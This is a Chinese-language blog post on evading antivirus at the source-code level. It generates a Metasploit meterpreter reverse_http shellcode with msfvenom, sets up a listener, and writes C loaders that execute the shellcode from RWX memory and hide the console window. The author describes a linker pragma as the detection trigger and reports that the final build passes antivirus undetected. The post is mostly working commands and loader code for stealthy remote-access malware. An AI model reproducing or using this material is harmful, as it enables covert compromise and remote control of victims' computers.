简单的源码免杀过av

简介: 简单的源码免杀过av

1、前言


经常看到各种免杀的例子,源码免杀、二进制免杀、加载器免杀等等,最近来学习了一下源码层面的免杀,在实验过程中与杀软对抗最终成功免杀,写下本文做个记录。


2、shellcode生成和二进制文件编译


开始前有个小插曲,用360扫了扫之前编译的样本,当时v站查杀率1/72(提交到v站后cs一共上线了107台主机,emm):


145edecbd421161c07f102784ca281f6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

 

今天扫描的时候:



啊... Q哒不妞Q(Qwq)


好了不说了,进入正题,首先我们使用msfvenom生成C语言shellcode:



msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.8.102 LPORT=6666 -f c


0a10959b6c6ba497cbb0ea536311a71a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


然后网上找了一段C语言加载shellcode的代码。

通过内联汇编加载shellcode:


#include<stdio.h>
#include<windows.h>
#include <time.h>
#pragma comment(linker, "/OPT:nowin98")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //不显示窗口
unsigned char buf[] ="shellcode";
int main(int argc,char const *argv[])
{
  //内联汇编
  __asm   
  {   
    lea eax,buf;   
    call eax;   
  }
}

话不多说,先编译上线测试,启动msf监听:


handler -p windows/meterpreter/reverse_http -H 0.0.0.0 -P 6666


25a18cd692af221accd1315c50edc698_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

 

另一边编译源码,生成exe:


bd5b87080554d656d32909412cc76902_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


双击执行exe,msf上线:

 

9afd40784cf772905f18e63b71863b1e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

 

执行过程发现没有被拦截,看起来这已经免杀了:


86b9a79106b745e4e381091a319f160f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

 

好的,免杀成功,本文结束。


3、VS免杀测试


结束是不可能结束的,不然怎么混篇幅,只能换个不免杀的编译器,被杀了再随便改改源码这样子。


用VS2019来编译源码,启动vs:


f1e3c4d5fa0d2ccbea36f89f96775eb8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


ad38a6528620166ae187f27a8b07991a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


c6da902458b916071338d1be4df47046_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

 

是吧,被发现了,我们将恶意代码全部删除后编译,发现还是被杀:


563692ef6dfdc6d01f5cc8c7add8213a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


emmm? 怎么办啊,这都杀!? 其实有朋友应该注意到了下面这段代码,好吧 ,我是故意没删的,因为特征就是在这:


#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")


接下来将这段代码删除,重新生成exe,然后进行扫描,发现成功过了杀软:

44e1788c35c5b6439374a3774cfde9f9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


vs编译的这个内联加载不能正常上线,修改下加载方法:

#include<stdio.h>
#include<windows.h>
#include <time.h>
int main(int argc, char const* argv[])
{  
unsigned char buf[] ="shellcode";
  void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(exec, buf, sizeof buf);
  ((void(*)())exec)();
  return 0;
}

那么编译执行后会有个DOS窗口:

653f63d1513a5d88b168cde6e9da867f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这里我们ShowWindow函数来隐藏窗体:

a5685da1446d46000dfc460f68056907_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

需要两个参数:

一个是程序窗口句柄,可以通过GetConsoleWindow 来获得当前窗口句柄,

另一个是int类型的nCmdShow,来控制窗口的状态,这里使用SW_HIDE来隐藏窗口:

04b802bb00df633e7ce574aa81b1f1f8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png



ShowWindow(GetConsoleWindow(), SW_HIDE);


然后再编译执行和免杀测试,可以看到免杀且无窗口:


11db40c228ecb5456137a13fa63e960e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


4、参考


https://www.zhihu.com/question/282945808https://blog.csdn.net/zac_sian/article/details/46778285https://docs.microsoft.com/en-us/windows/console/getconsolewindowhttps://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow

相关文章
|
编解码 Ubuntu 编译器
Qt开发笔记之编码x264码流并封装mp4(四):mp4v2库的介绍和windows平台编译
Qt开发笔记之编码x264码流并封装mp4(四):mp4v2库的介绍和windows平台编译
Qt开发笔记之编码x264码流并封装mp4(四):mp4v2库的介绍和windows平台编译
|
Ubuntu Windows
Qt开发笔记之编码h264码流并封装mp4(六):ubuntu平台编译mp4v2并封装mp4
Qt开发笔记之编码h264码流并封装mp4(六):ubuntu平台编译mp4v2并封装mp4
Qt开发笔记之编码h264码流并封装mp4(六):ubuntu平台编译mp4v2并封装mp4
|
5月前
|
编解码 计算机视觉 Python
OpenCV保存摄像头视频和视频文件操作实战(附Python源码)
OpenCV保存摄像头视频和视频文件操作实战(附Python源码)
242 0
|
5月前
|
存储 编解码 索引
FFmpeg代码编程获取视频信息
FFmpeg代码编程获取视频信息
77 0
gstreamer正确的结束办法
gstreamer正确的结束办法
147 0
|
安全 编译器 数据库
IDA静态逆向分析工具使用详解
IDA静态逆向分析工具
395 0
|
存储 编解码 Ubuntu
Qt开发笔记之编码x264码流并封装mp4(一):x264介绍、windows平台mingw32编译x264库
Qt开发笔记之编码x264码流并封装mp4(一):x264介绍、windows平台mingw32编译x264库
Qt开发笔记之编码x264码流并封装mp4(一):x264介绍、windows平台mingw32编译x264库
|
Linux C语言 Windows
Qt开发笔记之编码x264码流并封装mp4(二):windows平台x264添加mp4支持,gpac库的介绍与编译
Qt开发笔记之编码x264码流并封装mp4(二):windows平台x264添加mp4支持,gpac库的介绍与编译
Qt开发笔记之编码x264码流并封装mp4(二):windows平台x264添加mp4支持,gpac库的介绍与编译
|
编译器 C语言 Windows
FFMPEG视频开发:Window系统下载部署FFMPEG库并获取摄像头数据保存为MP4文件存放到本地(使用FFMPEG本身接口获取摄像头数据)
FFMPEG视频开发:Window系统下载部署FFMPEG库并获取摄像头数据保存为MP4文件存放到本地(使用FFMPEG本身接口获取摄像头数据)
318 0
FFMPEG视频开发:Window系统下载部署FFMPEG库并获取摄像头数据保存为MP4文件存放到本地(使用FFMPEG本身接口获取摄像头数据)
jpeglib画质的代码分析
jpeglib画质的代码分析
106 0